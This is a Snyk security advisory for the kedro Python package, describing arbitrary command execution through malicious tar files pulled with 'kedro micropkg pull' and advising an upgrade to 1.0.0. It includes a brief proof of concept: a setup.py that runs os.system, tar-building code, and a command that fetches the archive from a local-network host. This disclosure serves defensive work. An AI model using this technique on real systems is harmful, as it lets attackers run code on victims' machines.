Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade kedro to version 1.0.0 or higher.
kedro is a Kedro helps you build production-ready data and analytics pipelines
Affected versions of this package are vulnerable to Unsafe Dependency Resolution via the pull_package API function. An attacker can execute arbitrary commands on the victim's machine by exploiting the project_wheel_metadata function to execute the setup.py file inside the tar file.
Note:
This vulnerability bypasses the protections newly implemented through the safe_extract() function.
setup.py file:from setuptools import setup import os
os.system("touch /tmp/hacked") setup(name = "mytest", version = "1.0")
hacked.tar.gz file using the following Python code:import tarfiledef change_name(tarinfo): tarinfo.name = "./" + tarinfo.name return tarinfo
with tarfile.open("hacked.tar.gz", "w:gz") as tar: tar.add("setup.py", filter=change_name)
Run the command python -m http.server to serve this malicious hacked.tar.gz at URL http://192.168.3.153:8000/hacked.tar.gz for phishing.
The victim runs kedro micropkg pull http://192.168.3.153:8000/hacked.tar.gz and then the illegal file /tmp/hacked has been created at the victim's local file system.